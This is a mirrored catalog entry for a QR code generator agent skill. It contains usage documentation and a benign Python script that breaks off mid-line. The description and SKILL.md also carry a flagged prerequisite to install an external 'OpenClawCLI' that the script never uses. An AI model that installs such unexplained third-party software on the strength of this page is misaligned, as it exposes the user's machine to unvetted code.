qr-code-generator
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Packaged view
This page reorganizes the original catalog entry around fit, installability, and workflow context first. The original raw source lives below.
Install command
npx @skill-hub/cli install openclaw-skills-qr-code-generator
Repository
Skill path: skills/anisafifi/qr-code-generator
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Open repositoryBest for
Primary workflow: Analyze Data & AI.
Technical facets: Full Stack, Data / AI.
Target audience: everyone.
License: Proprietary.
Original source
Catalog source: SkillHub Club.
Repository owner: openclaw.
This is still a mirrored public skill entry. Review the repository before installing into production workflows.
What it helps with
- Install qr-code-generator into Claude Code, Codex CLI, Gemini CLI, or OpenCode workflows
- Review https://github.com/openclaw/skills before adding qr-code-generator to shared team environments
- Use qr-code-generator for development workflows
Works across
Favorites: 0.
Sub-skills: 0.
Aggregator: No.
Original source / Raw SKILL.md
--- name: qr-code-generator description: "Use this skill when users need to create QR codes for any purpose. Triggers include: requests to \"generate QR code\", \"create QR\", \"make a QR code for\", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai." license: Proprietary --- # QR Code Generator Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats. ⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) **Installation:** ```bash # Standard installation pip install qrcode[pil] segno # If you encounter permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install qrcode[pil] segno ``` **Never use `--break-system-packages`** as it can damage your system's Python installation. --- ## Quick Reference | Task | Command | |------|---------| | Basic URL QR code | `python scripts/qr.py "https://example.com"` | | Text QR code | `python scripts/qr.py --type text "Hello World"` | | WiFi QR code | `python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret"` | | vCard contact | `python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"` | | Custom colors | `python scripts/qr.py "URL" --fg-color blue --bg-color white` | | With logo | `python scripts/qr.py "URL" --logo logo.png` | | SVG format | `python scripts/qr.py "URL" --format svg` | | Batch generation | `python scripts/qr.py --batch urls.txt --output-dir qrcodes/` | --- ## Core Features ### 1. Multiple Data Types Generate QR codes for various data types with automatic formatting. **Supported Types:** - **URL** - Websites and web links - **Text** - Plain text messages - **WiFi** - WiFi network credentials - **vCard** - Contact information (VCF format) - **Email** - Email addresses with optional subject/body - **Phone** - Phone numbers (tel: links) - **SMS** - SMS messages with recipient and text - **Geo** - Geographic coordinates - **Event** - Calendar events (iCal format) - **Custom** - Any custom data ### 2. Customization Options Personalize QR code appearance: - Foreground and background colors - Custom error correction levels - Border size adjustment - Module size control - Logo/image embedding ### 3. Multiple Export Formats Export in various formats for different use cases: - **PNG** - Raster images (default) - **SVG** - Vector graphics (scalable) - **PDF** - Print-ready documents - **EPS** - Vector format for design tools - **Terminal** - ASCII art for terminal display ### 4. Batch Processing Generate multiple QR codes from: - Text files (one entry per line) - CSV files (with metadata) - JSON files (with configuration) --- ## Basic Usage ### URL QR Codes Generate QR codes for websites and links. ```bash # Simple URL python scripts/qr.py "https://example.com" # With custom filename python scripts/qr.py "https://github.com" --output github_qr.png # High error correction for printed codes python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png ``` **Output:** ``` QR code generated: qrcode.png Size: 290x290 pixels Error correction: M (Medium) Data: https://example.com ``` ### Text QR Codes Encode plain text messages. ```bash # Simple text python scripts/qr.py --type text "Hello, World!" # Multi-line text python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png # Large text (automatic size adjustment) python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png ``` ### WiFi QR Codes Create scannable WiFi credentials. ```bash # WPA/WPA2 network python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123" # WPA2 network (explicit) python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA # Hidden network python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden # Open network (no password) python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass ``` **Security types:** `WPA`, `WEP`, `nopass` **Output QR contains:** ``` WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;; ``` ### Contact Cards (vCard) Generate vCard QR codes for easy contact sharing. ```bash # Basic contact python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" # Full contact details python scripts/qr.py --type vcard \ --name "Jane Smith" \ --phone "+1234567890" \ --email "[email protected]" \ --organization "Tech Corp" \ --title "Senior Developer" \ --url "https://janesmith.com" \ --address "123 Main St, City, State, 12345" \ --output jane_contact.png # Multiple phone numbers python scripts/qr.py --type vcard \ --name "Bob Johnson" \ --phone "+1234567890" \ --phone-home "+0987654321" \ --email "[email protected]" ``` **Generated vCard format:** ``` BEGIN:VCARD VERSION:3.0 FN:John Doe TEL:+1234567890 END:VCARD ``` ### Email QR Codes Create mailto: links with optional subject and body. ```bash # Simple email python scripts/qr.py --type email --email "[email protected]" # With subject python scripts/qr.py --type email --email "[email protected]" --subject "Support Request" # With subject and body python scripts/qr.py --type email \ --email "[email protected]" \ --subject "Inquiry" \ --body "I would like more information about..." ``` **Output QR contains:** ``` mailto:[email protected]?subject=Support%20Request&body=Message%20text ``` ### Phone Number QR Codes Generate clickable phone links. ```bash # Simple phone number python scripts/qr.py --type phone --phone "+1234567890" # International format python scripts/qr.py --type phone --phone "+44 20 7946 0958" ``` **Output QR contains:** ``` tel:+1234567890 ``` ### SMS QR Codes Create pre-filled SMS messages. ```bash # SMS with recipient only python scripts/qr.py --type sms --phone "+1234567890" # SMS with message python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!" ``` **Output QR contains:** ``` sms:+1234567890?body=Hello%20from%20QR%20code! ``` ### Geographic Location QR Codes Encode GPS coordinates. ```bash # Coordinates only python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194 # With altitude python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10 # Named location python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London" ``` **Output QR contains:** ``` geo:37.7749,-122.4194 ``` ### Calendar Event QR Codes Generate iCalendar event QR codes. ```bash # Basic event python scripts/qr.py --type event \ --event-title "Team Meeting" \ --event-start "2024-03-15T14:00:00" \ --event-end "2024-03-15T15:00:00" # Full event details python scripts/qr.py --type event \ --event-title "Conference 2024" \ --event-start "2024-06-01T09:00:00" \ --event-end "2024-06-01T17:00:00" \ --event-location "Convention Center, NYC" \ --event-description "Annual tech conference" \ --output conference_qr.png ``` --- ## Customization Options ### Colors Customize foreground and background colors. ```bash # Named colors python scripts/qr.py "https://example.com" --fg-color blue --bg-color white # Hex colors python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF" # RGB colors python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)" # Transparent background python scripts/qr.py "https://example.com" --bg-color transparent --format png ``` **Common color names:** black, white, red, blue, green, yellow, orange, purple, pink, brown, gray ### Error Correction Set error correction level (higher = more damage resistance). ```bash --error-correction <L|M|Q|H> ``` **Levels:** - **L** - Low (~7% recovery) - Use for digital display - **M** - Medium (~15% recovery) - Default, good balance - **Q** - Quartile (~25% recovery) - Use when adding logos - **H** - High (~30% recovery) - Best for print, damaged surfaces ```bash # Low (smallest QR code) python scripts/qr.py "https://example.com" --error-correction L # High (best for print with logo) python scripts/qr.py "https://example.com" --error-correction H --logo company.png ``` ### Size and Border Control QR code size and border width. ```bash # Custom module size (box size in pixels) python scripts/qr.py "URL" --box-size 20 # Custom border (modules) python scripts/qr.py "URL" --border 2 # Large QR code python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.png # Minimal QR code (no border) python scripts/qr.py "URL" --border 0 --output minimal_qr.png ``` **Defaults:** - Box size: 10 pixels - Border: 4 modules (recommended minimum) ### Logo Embedding Add logos or images to QR codes. ```bash # Add logo (center) python scripts/qr.py "https://company.com" --logo company_logo.png # Custom logo size (percentage of QR code) python scripts/qr.py "URL" --logo logo.png --logo-size 20 # High error correction recommended with logos python scripts/qr.py "URL" --logo logo.png --error-correction H ``` **Logo tips:** - Use square or circular logos - Keep logo size ≤ 30% of QR code - Use high error correction (Q or H) - Test scanning after adding logo --- ## Export Formats ### PNG (Default) Raster image format, good for digital use. ```bash python scripts/qr.py "https://example.com" --format png --output qr.png ``` **Best for:** Web, digital displays, simple sharing ### SVG (Vector) Scalable vector graphics, perfect for any size. ```bash python scripts/qr.py "https://example.com" --format svg --output qr.svg ``` **Best for:** Print, design work, scaling to any size ### PDF Print-ready PDF documents. ```bash python scripts/qr.py "https://example.com" --format pdf --output qr.pdf ``` **Best for:** Printing, documents, archival ### EPS Encapsulated PostScript for professional design tools. ```bash python scripts/qr.py "https://example.com" --format eps --output qr.eps ``` **Best for:** Professional design software (Adobe Illustrator, etc.) ### Terminal Display QR code as ASCII art in terminal. ```bash python scripts/qr.py "https://example.com" --format terminal ``` **Output:** ``` █████████████████████████████ █████████████████████████████ ████ ▄▄▄▄▄ █▀█ █▄▄▄▄▄ ████ ████ █ █ █▀▀▀█ █ █ ████ ████ █▄▄▄█ █▀ ▀ █▄▄▄█ ████ ... ``` **Best for:** Quick terminal display, debugging --- ## Batch Generation ### From Text File Generate QR codes from a list of URLs or text. ```bash # Create input file cat > urls.txt << EOF https://example.com https://github.com https://google.com EOF # Generate batch python scripts/qr.py --batch urls.txt --output-dir qrcodes/ ``` **Output:** ``` qrcodes/ ├── qr_001.png ├── qr_002.png └── qr_003.png ``` ### From CSV File Generate with metadata (filenames, options). ```bash # Create CSV cat > contacts.csv << EOF name,phone,email,filename John Doe,+1234567890,[email protected],john_qr.png Jane Smith,+0987654321,[email protected],jane_qr.png EOF # Generate batch python scripts/qr.py --batch contacts.csv --type vcard --output-dir contacts/ ``` ### From JSON File Generate with full customization per QR code. ```bash # Create JSON config cat > qr_config.json << EOF [ { "data": "https://example.com", "output": "example_qr.png", "fg_color": "blue", "bg_color": "white" }, { "type": "wifi", "ssid": "MyNetwork", "password": "secret", "output": "wifi_qr.png" } ] EOF # Generate batch python scripts/qr.py --batch qr_config.json --output-dir custom/ ``` --- ## Common Workflows ### Event Check-In System Generate QR codes for event tickets. ```bash # Create ticket QR codes with unique IDs python scripts/qr.py --type text "TICKET-001-VIP" --output tickets/ticket_001.png python scripts/qr.py --type text "TICKET-002-GENERAL" --output tickets/ticket_002.png # Or batch from CSV cat > tickets.csv << EOF ticket_id,type,name TICKET-001,VIP,John Doe TICKET-002,GENERAL,Jane Smith EOF python scripts/qr.py --batch tickets.csv --template "TICKET-{ticket_id}-{type}" --output-dir tickets/ ``` ### Restaurant Menu Create QR code for digital menu. ```bash # Menu URL python scripts/qr.py "https://restaurant.com/menu" \ --output menu_qr.png \ --box-size 15 \ --error-correction H # Print version (PDF) python scripts/qr.py "https://restaurant.com/menu" \ --format pdf \ --output menu_qr.pdf \ --box-size 20 ``` ### WiFi Guest Access Generate WiFi QR code for guests. ```bash # Print-friendly version python scripts/qr.py --type wifi \ --ssid "Guest_Network" \ --password "GuestPass123" \ --format pdf \ --output wifi_guest.pdf \ --box-size 15 \ --error-correction H # Poster with logo python scripts/qr.py --type wifi \ --ssid "Guest_Network" \ --password "GuestPass123" \ --logo company_logo.png \ --output wifi_poster.png \ --box-size 20 ``` ### Contact Card Distribution Create scannable business cards. ```bash # Generate vCard python scripts/qr.py --type vcard \ --name "John Doe" \ --phone "+1234567890" \ --email "[email protected]" \ --organization "Tech Corp" \ --title "CEO" \ --url "https://company.com" \ --format svg \ --output business_card.svg # Print version python scripts/qr.py --type vcard \ --name "John Doe" \ --phone "+1234567890" \ --email "[email protected]" \ --format pdf \ --output business_card.pdf \ --box-size 12 ``` ### Product Packaging QR codes for product information. ```bash # Product info URL python scripts/qr.py "https://product.com/info/SKU12345" \ --output product_qr.svg \ --format svg \ --fg-color "#000000" \ --bg-color transparent # With error correction for damaged packaging python scripts/qr.py "https://product.com/info/SKU12345" \ --error-correction H \ --output product_qr_robust.png ``` ### Social Media Links QR codes for social profiles. ```bash # Instagram python scripts/qr.py "https://instagram.com/username" --output instagram_qr.png # LinkedIn python scripts/qr.py "https://linkedin.com/in/username" --output linkedin_qr.png # Multiple platforms (batch) cat > social.txt << EOF https://twitter.com/username https://instagram.com/username https://linkedin.com/in/username https://github.com/username EOF python scripts/qr.py --batch social.txt --output-dir social_qr/ ``` ### Payment Links QR codes for payment services. ```bash # PayPal python scripts/qr.py "https://paypal.me/username" --output paypal_qr.png # Venmo python scripts/qr.py "venmo://username" --output venmo_qr.png # Cash App python scripts/qr.py "https://cash.app/$username" --output cashapp_qr.png ``` --- ## Best Practices ### Size and Scanning 1. **Minimum size:** 2cm × 2cm for reliable scanning 2. **Viewing distance:** QR size should be 10% of scanning distance 3. **Border:** Keep at least 4 modules border (quiet zone) 4. **Testing:** Always test scan before printing ### Error Correction 1. **Digital display:** Use L or M 2. **Print without logo:** Use M 3. **Print with logo:** Use H 4. **Outdoor/damaged:** Use H ### Colors 1. **High contrast:** Dark foreground, light background 2. **Avoid:** Light colors on light, dark on dark 3. **Print:** Use pure black/white for best results 4. **Branding:** Test custom colors before mass production ### Logo Integration 1. **Size:** Keep logo ≤ 25-30% of QR code 2. **Error correction:** Use Q or H level 3. **Position:** Center placement works best 4. **Testing:** Verify scanning with logo ### File Formats 1. **Digital:** PNG for web, screens 2. **Print:** PDF or SVG for scalability 3. **Design:** SVG or EPS for editing 4. **Archive:** Keep source data and SVG version --- ## Troubleshooting ### Installation Issues **"Missing required dependency"** ```bash # Install dependencies pip install qrcode[pil] segno # Or use virtual environment python -m venv venv source venv/bin/activate pip install qrcode[pil] segno ``` **"PIL/Pillow not found"** ```bash pip install Pillow ``` ### Generation Issues **"QR code too complex"** - Reduce data size - Use higher version (auto-adjusts) - Split into multiple QR codes **"Cannot scan QR code"** - Increase error correction - Ensure sufficient contrast - Check minimum size - Remove or reduce logo size - Test in good lighting **"Logo obscures data"** - Reduce logo size (--logo-size) - Increase error correction to H - Use simpler logo design ### File Issues **"Cannot save file"** - Check output directory exists - Verify write permissions - Check disk space **"Invalid color format"** - Use named colors: red, blue, green - Use hex: #RRGGBB - Use rgb: rgb(R,G,B) --- ## Command Reference ```bash python scripts/qr.py [DATA] [OPTIONS] DATA: Text string, URL, or data to encode (required unless using --batch) GENERAL OPTIONS: --type Data type (url|text|wifi|vcard|email|phone|sms|geo|event) -o, --output Output filename (default: qrcode.png) -f, --format Format (png|svg|pdf|eps|terminal) CUSTOMIZATION: --fg-color Foreground color (default: black) --bg-color Background color (default: white) --error-correction Error correction (L|M|Q|H, default: M) --box-size Module size in pixels (default: 10) --border Border size in modules (default: 4) --logo Logo image path --logo-size Logo size percentage (default: 20) WIFI OPTIONS: --ssid Network SSID --password Network password --security Security type (WPA|WEP|nopass) --hidden Hidden network flag VCARD OPTIONS: --name Full name --phone Phone number --phone-home Home phone --phone-work Work phone --email Email address --organization Company/organization --title Job title --url Website URL --address Full address EMAIL OPTIONS: --email Email address --subject Email subject --body Email body PHONE/SMS OPTIONS: --phone Phone number --message SMS message text GEO OPTIONS: --latitude Latitude coordinate --longitude Longitude coordinate --altitude Altitude (optional) --location-name Location name (optional) EVENT OPTIONS: --event-title Event title --event-start Start datetime (ISO format) --event-end End datetime (ISO format) --event-location Event location --event-description Event description BATCH OPTIONS: --batch Input file (txt|csv|json) --output-dir Output directory for batch --template Filename template for batch HELP: --help Show all options ``` --- ## Examples by Use Case ### Quick QR Codes ```bash # URL python scripts/qr.py "https://example.com" # Text python scripts/qr.py --type text "Hello World" # Phone python scripts/qr.py --type phone --phone "+1234567890" ``` ### Professional QR Codes ```bash # With logo and custom colors python scripts/qr.py "https://company.com" \ --logo logo.png \ --fg-color "#003366" \ --bg-color "#FFFFFF" \ --error-correction H \ --output company_qr.png # Print-ready python scripts/qr.py "https://company.com" \ --format pdf \ --box-size 15 \ --error-correction H \ --output printable_qr.pdf ``` ### Functional QR Codes ```bash # WiFi access python scripts/qr.py --type wifi --ssid "Network" --password "pass123" # Contact card python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "[email protected]" # Calendar event python scripts/qr.py --type event --event-title "Meeting" --event-start "2024-03-15T14:00:00" --event-end "2024-03-15T15:00:00" ``` ### Bulk Generation ```bash # From URL list python scripts/qr.py --batch urls.txt --output-dir qrcodes/ # From CSV with metadata python scripts/qr.py --batch data.csv --output-dir output/ # Custom configuration per code python scripts/qr.py --batch config.json --output-dir custom/ ``` --- ## Support For issues or questions: 1. Check this documentation 2. Run `python scripts/qr.py --help` 3. Verify dependencies are installed 4. Test with simple QR code first **Resources:** - OpenClawCLI: https://clawhub.ai/ - qrcode library: https://pypi.org/project/qrcode/ - segno library: https://pypi.org/project/segno/ - QR code specification: ISO/IEC 18004 --- ## Referenced Files > The following files are referenced in this skill and included for context. ### scripts/qr.py ```python #!/usr/bin/env python3 """ QR Code Generator - Create customizable QR codes Generate QR codes for URLs, text, WiFi, vCards, and more with custom styling. Requires: pip install qrcode[pil] segno """ import argparse import json import sys import csv from pathlib import Path from typing import Optional, Dict, Any, List from datetime import datetime try: import qrcode from qrcode.image.styledpil import StyledPilImage from qrcode.image.styles.moduledrawers import RoundedModuleDrawer, CircleModuleDrawer except ImportError: print("Error: qrcode library not installed", file=sys.stderr) print("Install with: pip install qrcode[pil]", file=sys.stderr) sys.exit(1) try: from PIL import Image, ImageDraw except ImportError: print("Error: Pillow library not installed", file=sys.stderr) print("Install with: pip install Pillow", file=sys.stderr) sys.exit(1) try: import segno except ImportError: segno = None # ============================================================================ # Data Type Formatters # ============================================================================ def format_url(data: str) -> str: """Format URL data""" if not data.startswith(('http://', 'https://')): return f"https://{data}" return data def format_wifi(ssid: str, password: str = "", security: str = "WPA", hidden: bool = False) -> str: """Format WiFi credentials""" security = security.upper() if security not in ['WPA', 'WEP', 'nopass']: security = 'WPA' hidden_str = 'true' if hidden else 'false' if security == 'nopass': return f"WIFI:T:{security};S:{ssid};H:{hidden_str};;" else: return f"WIFI:T:{security};S:{ssid};P:{password};H:{hidden_str};;" def format_vcard( name: str, phone: Optional[str] = None, phone_home: Optional[str] = None, phone_work: Optional[str] = None, email: Optional[str] = None, organization: Optional[str] = None, title: Optional[str] = None, url: Optional[str] = None, address: Optional[str] = None ) -> str: """Format vCard (contact card)""" lines = [ "BEGIN:VCARD", "VERSION:3.0", f"FN:{name}" ] if phone: lines.append(f"TEL;TYPE=CELL:{phone}") if phone_home: lines.append(f"TEL;TYPE=HOME:{phone_home}") if phone_work: lines.append(f"TEL;TYPE=WORK:{phone_work}") if email: lines.append(f"EMAIL:{email}") if organization: lines.append(f"ORG:{organization}") if title: lines.append(f"TITLE:{title}") if url: lines.append(f"URL:{url}") if address: lines.append(f"ADR:;;{address}") lines.append("END:VCARD") return "\n".join(lines) def format_email(email: str, subject: Optional[str] = None, body: Optional[str] = None) -> str: """Format mailto link""" result = f"mailto:{email}" params = [] if subject: params.append(f"subject={subject}") if body: params.append(f"body={body}") if params: result += "?" + "&".join(params) return result def format_phone(phone: str) -> str: """Format phone number""" return f"tel:{phone}" def format_sms(phone: str, message: Optional[str] = None) -> str: """Format SMS""" result = f"sms:{phone}" if message: result += f"?body={message}" return result def format_geo( latitude: float, longitude: float, altitude: Optional[float] = None, location_name: Optional[str] = None ) -> str: """Format geographic location""" if altitude is not None: return f"geo:{latitude},{longitude},{altitude}" return f"geo:{latitude},{longitude}" def format_event( title: str, start: str, end: str, location: Optional[str] = None, description: Optional[str] = None ) -> str: """Format calendar event (iCalendar)""" lines = [ "BEGIN:VEVENT", f"SUMMARY:{title}", f"DTSTART:{start.replace('-', '').replace(':', '')}", f"DTEND:{end.replace('-', '').replace(':', '')}" ] if location: lines.append(f"LOCATION:{location}") if description: lines.append(f"DESCRIPTION:{description}") lines.append("END:VEVENT") return "\n".join(lines) # ============================================================================ # QR Code Generation # ============================================================================ def parse_color(color_str: str) -> tuple: """Parse color string to RGB tuple""" color_str = color_str.lower().strip() # Named colors colors = { 'black': (0, 0, 0), 'white': (255, 255, 255), 'red': (255, 0, 0), 'green': (0, 255, 0), 'blue': (0, 0, 255), 'yellow': (255, 255, 0), 'cyan': (0, 255, 255), 'magenta': (255, 0, 255), 'orange': (255, 165, 0), 'purple': (128, 0, 128), 'pink': (255, 192, 203), 'brown': (165, 42, 42), 'gray': (128, 128, 128), 'grey': (128, 128, 128), } if color_str in colors: return colors[color_str] # Hex color (#RRGGBB) if color_str.startswith('#'): hex_color = color_str[1:] if len(hex_color) == 6: return tuple(int(hex_color[i:i+2], 16) for i in (0, 2, 4)) # RGB color (rgb(r,g,b)) if color_str.startswith('rgb(') and color_str.endswith(')'): rgb_values = color_str[4:-1].split(',') if len(rgb_values) == 3: return tuple(int(v.strip()) for v in rgb_values) # Default to black return (0, 0, 0) def generate_qr_code( data: str, output_path: str = "qrcode.png", fg_color: str = "black", bg_color: str = "white", error_correction: str = "M", box_size: int = 10, border: int = 4, logo_path: Optional[str] = None, logo_size: int = 20, output_format: str = "png" ) -> bool: """Generate QR code with customization options""" # Map error correction error_levels = { 'L': qrcode.constants.ERROR_CORRECT_L, 'M': qrcode.constants.ERROR_CORRECT_M, 'Q': qrcode.constants.ERROR_CORRECT_Q, 'H': qrcode.constants.ERROR_CORRECT_H } error_level = error_levels.get(error_correction.upper(), qrcode.constants.ERROR_CORRECT_M) # Create QR code qr = qrcode.QRCode( version=None, # Auto-determine version error_correction=error_level, box_size=box_size, border=border, ) qr.add_data(data) qr.make(fit=True) # Parse colors fill_color = parse_color(fg_color) back_color = parse_color(bg_color) if bg_color.lower() != 'transparent' else None # Generate image if output_format == "terminal": # Print to terminal qr.print_ascii(invert=True) return True # Create PIL image img = qr.make_image(fill_color=fill_color, back_color=back_color) # Add logo if specified if logo_path: try: logo = Image.open(logo_path) # Calculate logo size qr_width, qr_height = img.size logo_max_size = int(qr_width * (logo_size / 100)) # Resize logo logo.thumbnail((logo_max_size, logo_max_size), Image.LANCZOS) # Calculate position (center) logo_pos = ( (qr_width - logo.width) // 2, (qr_height - logo.height) // 2 ) # Paste logo img.paste(logo, logo_pos, logo if logo.mode == 'RGBA' else None) except Exception as e: print(f"Warning: Could not add logo: {e}", file=sys.stderr) # Save image try: if output_format == "svg": # Use segno for SVG if available if segno: qr_segno = segno.make(data, error=error_correction.lower()) qr_segno.save( output_path, scale=box_size, border=border, dark=fg_color, light=bg_color if bg_color.lower() != 'transparent' else None ) else: print("Warning: segno library not available for SVG output", file=sys.stderr) img.save(output_path) elif output_format == "pdf": img.save(output_path, "PDF") elif output_format == "eps": img.save(output_path, "EPS") else: # PNG img.save(output_path) return True except Exception as e: print(f"Error saving QR code: {e}", file=sys.stderr) return False # ============================================================================ # Batch Processing # ============================================================================ def process_batch_txt(input_file: str, output_dir: str, args: argparse.Namespace) -> int: """Process batch from text file (one entry per line)""" output_path = Path(output_dir) output_path.mkdir(parents=True, exist_ok=True) count = 0 with open(input_file, 'r') as f: for i, line in enumerate(f, 1): line = line.strip() if not line or line.startswith('#'): continue output_file = output_path / f"qr_{i:03d}.{args.format}" if generate_qr_code( data=line, output_path=str(output_file), fg_color=args.fg_color, bg_color=args.bg_color, error_correction=args.error_correction, box_size=args.box_size, border=args.border, logo_path=args.logo, logo_size=args.logo_size, output_format=args.format ): print(f"Generated: {output_file.name}", file=sys.stderr) count += 1 return count def process_batch_csv(input_file: str, output_dir: str, args: argparse.Namespace) -> int: """Process batch from CSV file""" output_path = Path(output_dir) output_path.mkdir(parents=True, exist_ok=True) count = 0 with open(input_file, 'r') as f: reader = csv.DictReader(f) for i, row in enumerate(reader, 1): # Determine data based on type if args.type == "vcard": data = format_vcard( name=row.get('name', ''), phone=row.get('phone'), email=row.get('email'), organization=row.get('organization'), title=row.get('title') ) else: data = row.get('data', row.get('url', '')) output_file = row.get('filename', f"qr_{i:03d}.{args.format}") output_file = output_path / output_file if generate_qr_code( data=data, output_path=str(output_file), fg_color=args.fg_color, bg_color=args.bg_color, error_correction=args.error_correction, box_size=args.box_size, border=args.border, logo_path=args.logo, logo_size=args.logo_size, output_format=args.format ): print(f"Generated: {output_file.name}", file=sys.stderr) count += 1 return count def process_batch_json(input_file: str, output_dir: str, args: argparse.Namespace) -> int: """Process batch from JSON file""" output_path = Path(output_dir) output_path.mkdir(parents=True, exist_ok=True) with open(input_file, 'r') as f: configs = json.load(f) count = 0 for i, config in enumerate(configs, 1): data = config.get('data', '') # Format data based on type qr_type = config.get('type', 'url') if qr_type == 'wifi': data = format_wifi( config.get('ssid', ''), config.get('password', ''), config.get('security', 'WPA'), config.get('hidden', False) ) output_file = config.get('output', f"qr_{i:03d}.{args.format}") output_file = output_path / output_file if generate_qr_code( data=data, output_path=str(output_file), fg_color=config.get('fg_color', args.fg_color), bg_color=config.get('bg_color', args.bg_color), error_correction=config.get('error_correction', args.error_correction), box_size=config.get('box_size', args.box_size), border=config.get('border', args.border), logo_path=config.get('logo', args.logo), logo_size=config.get('logo_size', args.logo_size), output_format=config.get('format', args.format) ): print(f"Generated: {output_file.name}", file=sys.stderr) count += 1 return count # ============================================================================ # Main Function # ============================================================================ def main(): parser = argparse.ArgumentParser( description="Generate customizable QR codes", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Simple URL %(prog)s "https://example.com" # WiFi credentials %(prog)s --type wifi --ssid "MyNetwork" --password "secret123" # Contact card %(prog)s --type vcard --name "John Doe" --phone "+1234567890" --email "[email protected]" # Custom colors and logo %(prog)s "https://company.com" --fg-color blue --bg-color white --logo logo.png # Batch generation %(prog)s --batch urls.txt --output-dir qrcodes/ """ ) # Main data argument parser.add_argument( "data", nargs="?", help="Data to encode (URL, text, etc.)" ) # General options parser.add_argument( "--type", choices=["url", "text", "wifi", "vcard", "email", "phone", "sms", "geo", "event"], default="url", help="Type of data to encode (default: url)" ) parser.add_argument( "-o", "--output", default="qrcode.png", help="Output filename (default: qrcode.png)" ) parser.add_argument( "-f", "--format", choices=["png", "svg", "pdf", "eps", "terminal"], default="png", help="Output format (default: png)" ) # Customization parser.add_argument( "--fg-color", default="black", help="Foreground color (default: black)" ) parser.add_argument( "--bg-color", default="white", help="Background color (default: white)" ) parser.add_argument( "--error-correction", choices=["L", "M", "Q", "H"], default="M", help="Error correction level (default: M)" ) parser.add_argument( "--box-size", type=int, default=10, help="Box size in pixels (default: 10)" ) parser.add_argument( "--border", type=int, default=4, help="Border size in modules (default: 4)" ) parser.add_argument( "--logo", help="Logo image path to embed" ) parser.add_argument( "--logo-size", type=int, default=20, help="Logo size as percentage of QR code (default: 20)" ) # WiFi options parser.add_argument("--ssid", help="WiFi SSID") parser.add_argument("--password", help="WiFi password") parser.add_argument("--security", choices=["WPA", "WEP", "nopass"], default="WPA", help="WiFi security") parser.add_argument("--hidden", action="store_true", help="Hidden network") # vCard options parser.add_argument("--name", help="Contact name") parser.add_argument("--phone", help="Phone number") parser.add_argument("--phone-home", help="Home phone") parser.add_argument("--phone-work", help="Work phone") parser.add_argument("--email", help="Email address") parser.add_argument("--organization", help="Organization") parser.add_argument("--title", help="Job title") parser.add_argument("--url", help="Website URL") parser.add_argument("--address", help="Address") # Email options parser.add_argument("--subject", help="Email subject") parser.add_argument("--body", help="Email body") # SMS options parser.add_argument("--message", help="SMS message") # Geo options parser.add_argument("--latitude", type=float, help="Latitude") parser.add_argument("--longitude", type=float, help="Longitude") parser.add_argument("--altitude", type=float, help="Altitude") parser.add_argument("--location-name", help="Location name") # Event options parser.add_argument("--event-title", help="Event title") parser.add_argument("--event-start", help="Event start (ISO format)") parser.add_argument("--event-end", help="Event end (ISO format)") parser.add_argument("--event-location", help="Event location") parser.add_argument("--event-description", help="Event description") # Batch options parser.add_argument("--batch", help="Batch input file (txt, csv, json)") parser.add_argument("--output-dir", default="qrcodes", help="Output directory for batch") args = parser.parse_args() # Handle batch processing if args.batch: input_path = Path(args.batch) if not input_path.exists(): print(f"Error: Input file not found: {args.batch}", file=sys.stderr) sys.exit(1) count = 0 if input_path.suffix == '.txt': count = process_batch_txt(args.batch, args.output_dir, args) elif input_path.suffix == '.csv': count = process_batch_csv(args.batch, args.output_dir, args) elif input_path.suffix == '.json': count = process_batch_json(args.batch, args.output_dir, args) else: print(f"Error: Unsupported batch file format: {input_path.suffix}", file=sys.stderr) sys.exit(1) print(f"\nGenerated {count} QR codes in {args.output_dir}/", file=sys.stderr) return # Single QR code generation if not args.data and args.type not in ['wifi', 'vcard', 'email', 'phone', 'sms', 'geo', 'event']: parser.error("Data argument required (or use --type with specific options)") # Format data based on type data = args.data or "" if args.type == "url": data = format_url(data) elif args.type == "text": pass # Use as-is elif args.type == "wifi": if not args.ssid: parser.error("--ssid required for WiFi QR codes") data = format_wifi(args.ssid, args.password or "", args.security, args.hidden) elif args.type == "vcard": if not args.name: parser.error("--name required for vCard 